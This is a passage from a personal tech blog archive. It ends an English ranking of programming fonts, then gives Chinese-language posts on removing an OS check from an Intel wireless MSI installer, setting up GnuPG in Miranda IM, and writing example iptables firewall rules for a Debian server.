Proggy is a clean monospace font that seems to be favored by Windows users, although it works fine on a Mac. It’s a clean font intended to be used only at smaller points, and without anti-aliasing.

Proggy Clean
Figure 7 Proggy Clean at 15-point (yes, 15-point), without anti-aliasing

4. Droid Sans Mono

The Droid font family (available for download here) is a nice font family designed for use on the small screens of mobile handsets, like Android, and licensed under the Apache license.

Droid Sans Mono makes for a great programming font. It’s got a bit of flair, and stands out among the other monospace fonts I’ve listed, and its only real flaw is the lack of a slashed zero.

Droid Sans Mono
Figure 8 Droid Sans Mono

3. Deja Vu Sans Mono

The Deja Vu family of fonts are one of my favorite free font families, based on the excellent Vera Font family. The Deja Vu fonts have been updated with a wider range of characters while maintaining a similar look and feel to that of Vera.

This was my go-to font family for many years. It looks great at any size with anti-aliasing turned on.

Panic ships a font with it’s Coda application called “Panic Sans” which is based on this font. Gruber says via email that when he compared Panic Sans against Vera, he noted that “Panic had noticeably crisper punctuation chars” and that it seemed like they had improved the hinting on some characters as well.

Deja Vu Sans Mono
Figure 9 Deja Vu Sans Mono

2. Consolas

Consolas suddenly appeared on my Mac after I installed Microsoft Office, along with a handful of other new fonts from Microsoft.

This font was designed by Luc(as) de Groot for Microsoft’s ClearType font family (there’s a nice write-up with samples of each of the new Microsoft fonts here). Consolas is a commercial font, but is bundled with many Microsoft products, so there’s a good chance you might already have it on your system.

You’ll absolutely want to have anti-aliasing turned on if you’re using Consolas, because it’ll look terrible without it.

Too bad it’s not free … if it was, it would be #1 on this list.

Consolas
Figure 10 Consolas

1. Inconsolata

Inconsolata is my favorite monospaced font, and it’s free. Shortly after discovering it, it quickly supplanted Deja Vu Sans Mono as my go-to programming font. I use it everywhere, from Terminal windows to code editors. It has a certain sublime style that’s unique without being over the top, and it looks fantastic at both large and small sizes. I use this font when I show code samples in a presentation, and it’s the font we use in Terminal and TextMate windows when filming PeepCode screencasts.

Inconsolata is designed to be used with anti-aliasing enabled, but it’s surprisingly legible even at very small sizes. A big thanks to Raph Levien for creating this font, and for making it free.

Inconsolata
Figure 11 Inconsolata

Thoughts?

Did I miss your favorite coding typeface? Think the list is out of order? Let me know. If there’s a typeface you think should be in this list, please let me know in the comments section below. If it meets my ridiculous standards, I’ll review it and include it in a follow-up article.

分类: 未分类 标签:

解除MSI安装文件对于操作系统的限制

2010年3月8日 林風聽雨 没有评论

破解Intel无线驱动管理软件只能用于XP的限制

由于开发用Windows server 2003,系统的Wireless WiFi Link 4965只能找到XP的驱动。郁闷死了,官方带无线管理软件的For XP 32位的驱动无法安装,莫名其妙的提示。

于是,找来Orca,尝试破解官方的驱动。

准备:
1、Orca:这个软件可以用来修改MSI文件。
2、无线网卡官方带管理软件的驱动完整版(intel_wireless_124021_xp32.exe)。

好,开始喽~~~
1、安装Orca。
2、清空临时文件夹(C:\Documents and Settings\你的用户名\Local Settings\Temp)。
2、打开intel_wireless_124021_xp32.exe,当出现错误提示时,不要关闭窗口。在临时文件夹中寻找无线安装程序的MSI文件。它在某个随机命名的文件夹下。可能通过查看文件夹大小的方式找到对应的文件夹。然后打开这个文件夹,找到我们需要的文件:Intel PROSetWireless.MSI。Copy出来。
3、用Orca打开Intel PROSet Wireless.MSI。
4、在左侧找到”LaunchCondition”,选择后,在右侧空格中Condition列中看到安装环境的条件。在这里,我们把Description为”"的条件改成”NOT Msix64″,除掉只能安装在XP系统的限制。
5、在Orca文件菜单中选择保存。

OK,大功告成,现在可以在Windows server 2003中使用官方的无线驱动和管理软件了。

分类: 未分类 标签:

Miranda IM + GnuPG

2010年3月8日 林風聽雨 没有评论

Download

GnuPGhttp://www.gnupg.org/download/index.html
Miranda IMhttp://www.miranda-im.org/download/
GnuPG Plugin 0.0.0.0.4http://addons.miranda-im.org/details.php?action=viewfile&id=216

Prepare GnuPG

    • gpg –gen-key
    • gpg –export –armor my_key_name > my_public_key.asc
    • gpg –list-public-keys
    • gpg –sign-key keyID
  1. Generate your new key pair and export:
  2. See detailed step by step here: http://www.madboa.com/geek/gpg-quickstart/
    It is wise to generate new key (with different password) even when you already have one for mail security – disclose of the Miranda GPG key wil not hamper your (probably more important) signature key.

  3. Sign public keys of selected friends:

Prepare Miranda IM

    • set Executable: to gpg.exe path
    • set Home Directory to path, where your keyrings are stored. Do NOT put ‘\’ at end otherwise Miranda will hang up (in that case kill gpg.exe process)
    • both paths can be found in registry in [HKEY_LOCAL_MACHINE\Software\GNU\GNUPG]
    • click Refresh for Your Key and select your private key
    • for each friend, set Contact Key
    • if sending fail, then check if friend’s public key is signed by your key.
    • test that messages are really encrypted by temporarily turning off ‘Use GnuPG encryption’ for one peer and send encrypted message by second one.
  1. Copy gnupg.dll into Miranda IM\Plugins directory

  2. Start Miranda, go to Settings->Options->Plugins->GnuPG

  3. Start chat with friend, set ‘Use GnuPG encryption’ in chat menu.

  4. Change tag for highlighting encrypted message to yourt own personalized “unpredictable” string:
    (Settings->Options->Plugins->GnuPG Advanced->Start Tag). Otherwise, you can be tricked that communication is encrypt when actualy is not (attacker may insert ‘tag’ into his own message).
分类: 未分类 标签:

debian5.0(lenny) iptables 实例

2010年3月8日 林風聽雨 没有评论

版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明

http://linux.blogbus.com/logs/45811975.html

实验环境: 210.45.155.0/255.255.255.0

服务器 Debian(lenny)5.0 IP:210.45.155.96

iptables以顺序方式执行,从上到下!

常用iptables维护命令:

#iptables -L -n 显示当前iptables规则

#iptables-save > /etc/iptables.test.rules 保存规则

#iptables-restore < /etc/iptables.test.rules 恢复保存的规则

设置iptables开机自动加载规则,添加以下内容至/etc/rc.local文件中即可

/sbin/modprobe ip_nat_ftp (为开放ftp功能加载的模块,可选)

/sbin/iptables-restore /etc/iptables.test.rules

需要注意的是,必须写完全路径,要不然系统找不到命令与规则及脚本

# This file is in iptables-restore format. See the man pages for iptables-restore(8) and iptables-save(8).

# The following is a set of firewall rules that should be applicable to Linux servers running within departments.

# It is intended to provide a useful starting point from which to devise a comprehensive firewall policy for a host.

#

# Parts 1 and 3 of these rules are the same for each host, whilst part 2 can be populated with rules specific to particular hosts.

#

# Aside:

# In Network Services we use a template system for distribution of firewall rules to each managed host.

# If a templating system is used (whether cfengine or bespoke scripts) then the process updating of firewall policy en-mass is greatly simplified.

# For some protocols it is necessary to track incoming connections that are related to already established connections.

# With a modular kernel it will be necessary to load specific kernel modules to add this functionality:

#

# modprobe -a ip_conntrack_ftp ip_conntrack_amanda ip_conntrack_sip ip_conntrack_h323 ip_conntrack_irc …

#

# You should load these modules at system startup, e.g. by amending /etc/modules (Debian) or rc.modules (RedHat)

# If you have any question relating to the application of this information then please contact:

#

# Terry Burton – tb33@leicester.ac.uk – ext: 3474

####################

# 1. Common header #

####################

# This static section is a generic header that should be suitable for most hosts

*filter

:INPUT DROP [0:0]

# Don’t attempt to firewall internal traffic on the loopback device

-A INPUT -i lo -j ACCEPT

# Continue connections that are already established or related to an established connection

-A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT

# Drop non-conforming packets, such as malformed headers, etc.

-A INPUT -m state –state INVALID -j DROP

# Block remote packets claiming to be from a loopback address

-A INPUT -s 127.0.0.0/255.0.0.0 ! -i lo -j DROP

# Chain for preventing SSH brute-force attacks from off-campus.

# Permits 10 new connections within 5 minutes from a single host then drops incomming connections from that host

# Note: Beyond a burst of 100 connections we log at up 1 attempt per second to prevent filling of logs

-N SSHBRUTE

-A SSHBRUTE -m recent –name SSH –set

-A SSHBRUTE -m recent –name SSH –update –seconds 300 –hitcount 10 -m limit –limit 1/second –limit-burst 100 -j LOG –log-prefix “SSHBRUTE: ”

-A SSHBRUTE -m recent –name SSH –update –seconds 300 –hitcount 10 -j DROP

-A SSHBRUTE -j ACCEPT

# Chain for preventing ping flooding – up to 6 pings per second from a single source, again with log limiting

# Also prevents us from ICMP REPLY flooding some victim when replying to ICMP ECHO from a spoofed source

-N ICMPFLOOD

-A ICMPFLOOD -m recent –set –name ICMP –rsource

-A ICMPFLOOD -m recent –update –seconds 1 –hitcount 6 –name ICMP –rsource –rttl -m limit –limit 1/sec –limit-burst 1 -j LOG –log-prefix “ICMPFLOOD: ”

-A ICMPFLOOD -m recent –update –seconds 1 –hitcount 6 –name ICMP –rsource –rttl -j DROP

-A ICMPFLOOD -j ACCEPT

##########################

# 2. Host specific rules #

##########################

# This dynamic section is a good place to enable host-specific services such as HTTP or MySQL

# This is often a blank part of the template that is filled in with per-host data.

# For example:

# Accept worldwide access to http and https

-A INPUT -p tcp -m tcp –dport 80 –syn -m state –state NEW -j ACCEPT

-A INPUT -p tcp -m tcp –dport 443 –syn -m state –state NEW -j ACCEPT

#-A INPUT -p tcp -m tcp –dport 8080 –syn -m state –state NEW -j ACCEPT

## FTP

# Allow ftp outbound.

-A INPUT -p tcp –sport 21 -j ACCEPT

-A INPUT -p tcp –dport 21 -j ACCEPT

# Wherever possible, it is advised to restrict access to a service based on the source of the traffic

# For example:

#

# Restrict access to MySQL from “subnet 123″

-A INPUT -s 210.45.246.0/255.255.255.0 -p tcp -m tcp –dport 3306 –syn -m state –state NEW -j ACCEPT

# You many also want to consider using source-based rate limiting

# For example:

#

# Restrict access to SSH from “on-campus” hosts and rate limit

#-A INPUT -s 210.45.0.0/255.255.0.0 -p tcp -m tcp –dport 22 –syn -m state –state NEW -j SSHBRUTE

####################

# 3. General rules #

####################

# This static section is a good place to put rules that apply to all of your services

# Permit communication with any NTP server on campus

#-A INPUT -s 210.45.0.0/255.255.0.0 -p udp -m udp –dport 123 -m state –state NEW -j ACCEPT

# If the host receives mail then accept SMTP from the mailhubs

#

# These will need infrequently updating upon announcements from Network Services

#

# These mailhubs are due to be decommissioned – required until further notice

#-A INPUT -s 210.45.4.129 -p tcp -m tcp –dport 25 –syn -m state –state NEW -j ACCEPT

#-A INPUT -s 210.45.16.125 -p tcp -m tcp –dport 25 –syn -m state –state NEW -j ACCEPT

#-A INPUT -s 210.45.16.127 -p tcp -m tcp –dport 25 –syn -m state –state NEW -j ACCEPT

# These mailhubs are due to be commissioned

# -A INPUT -s 210.45.16.36 -p tcp -m tcp –dport 25 –syn -m state –state NEW -j ACCEPT

# -A INPUT -s 210.45.16.37 -p tcp -m tcp –dport 25 –syn -m state –state NEW -j ACCEPT

# -A INPUT -s 210.45.16.38 -p tcp -m tcp –dport 25 –syn -m state –state NEW -j ACCEPT

# -A INPUT -s 210.45.4.39 -p tcp -m tcp –dport 25 –syn -m state –state NEW -j ACCEPT

# Permit useful icmp packet types

# Note: RFC 792 states that all hosts MUST respond to ICMP ECHO requests.

# Blocking these can make diagnosing of even simple faults much more tricky.

# Real security lies in locking down and hardening all services, not by hiding.

# -A INPUT -p icmp -m icmp –icmp-type 0 -m state –state NEW -j ACCEPT

# -A INPUT -p icmp -m icmp –icmp-type 3 -m state –state NEW -j ACCEPT

# -A INPUT -p icmp -m icmp –icmp-type 8 -m state –state NEW -j ICMPFLOOD

# -A INPUT -p icmp -m icmp –icmp-type 11 -m state –state NEW -j ACCEPT

# Good practise is to explicately reject AUTH traffic so that it fails fast

#-A INPUT -p tcp -m tcp –dport 113 –syn -m state –state NEW -j REJECT –reject-with tcp-reset

# If you are routing using a RIP daemon then accept RIP-2 multicasts

#-A INPUT -p udp -m udp –sport 520 –dport 520 -m state –state NEW -j ACCEPT

# May not want to log late replies from campus nameservers

#-A INPUT -s 210.45.4.11 -p udp -m udp –sport 53 -j DROP

#-A INPUT -s 210.45.12.152 -p udp -m udp –sport 53 -j DROP

#-A INPUT -s 210.45.12.154 -p udp -m udp –sport 53 -j DROP

# For noisy subnets you may want to drop broadcast traffic to avoid cluttering your logs

#-A INPUT -d 210.45.123.255 -j DROP

#-A INPUT -d 255.255.255.255 -j DROP

# Prevent DOS by filling log files

-A INPUT -m limit –limit 1/second –limit-burst 100 -j LOG

COMMIT

#####end

另一则,来源于网络,供参考

1,缺省策略,让信息毫无限制地流出,但不允许信息流入

#iptables -P INPUT DROP

#iptables -P FORWARD DROP

#iptables -P OUTPUT ACCEPT

2,允许172.28.156.90无限制连接至172.28.156.96服务器(便于维护与测试服务器)

#iptables -A INPUT -s 172.28.156.90 -d 172.28.156.96 -j ACCEPT

3,允许127.0.0.1环路

#iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT

#iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT

4,允许局域网172.28.156.0内的所有机器能访问172.28.156.96服务器的80端口

#iptables -A INPUT -p tcp -s 172.28.156.0/24 -d 172.28.156.96 –dport 80 -j ACCEPT

5,拒绝172.28.156.92 Ping 172.28.156.96

#iptables -A INPUT -p icmp -s 172.28.156.92 -d 172.28.156.96 -j DROP

6,拒绝所有Ping

#iptables -A INPUT -p icmp -j DROP

7,拒绝172.28.156.96 Ping 172.28.156.8

#iptables -A OUTPUT -p icmp -s 172.28.156.96 -d 172.28.156.8 -j DROP

8,拒绝172.28.156.234连接172.28.156.96的80端口

#iptables -A INPUT -p tcp -s 172.28.156.234 -d 172.28.156.96 –dport 80 -j DROP

9,允许192.168.1.96服务器使用Ping

#iptables -A INPUT -p icmp -d 172.28.156.96 -j ACCEPT

10,允许DNS查询

#iptables -A INPUT -p udp –sport 53 -j ACCEPT

#iptables -A INPUT -p tcp –sport 80 -j ACCEPT (注:上网好像需要开这个端口???)

11,允许来自172.28.156.234的电脑Ping服务器172.28.156.96

#iptables -A INPUT -p icmp -s 172.28.156.234 -j ACCEPT

12,如果要自己能ping人家,而人家不能ping你,可以:

#iptables -A INPUT -p icmp –icmp-type 8 -s 0/0 -j DROP

#iptables -A INPUT -p icmp –icmp-type 0 -s 0/0 -j ACCEPT

#iptables -A OUTPUT -p icmp –icmp-type 0 -s 172.28.156.96 -j DROP

#iptables -A OUTPUT -p icmp –icmp-type 8 -s 172.28.156.96 -j DROP

注:icmp的type 0为回显应答(Ping应答),8为请求回显(Ping请求).Tcpip第6章ICMP:Internet控制报文协议

13,无法使用apt-get update解决方法

iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT

14,使用FTP问题

#modprobe ip_nat_ftp 加载模块

#modprobe ip_conntrack

#modprobe ip_conntrack_ftp

#iptables -A INPUT -p tcp –sport 21 -j ACCEPT

#iptables -A INPUT -P tcp –dport 21 -j ACCEPT

#iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT

15,查看某一条规则序号并删除

#iptables -L -n –line-numbers

iptables -D INPUT 8

16,拒绝172.28.156.90连接服务器的80端口(注意,必须放在允许规则前面)

#iptables -I INPUT 1 -p tcp -s 172.28.156.90 -d 172.28.156.96 –dport 80 -j DROP

分类: 未分类 标签: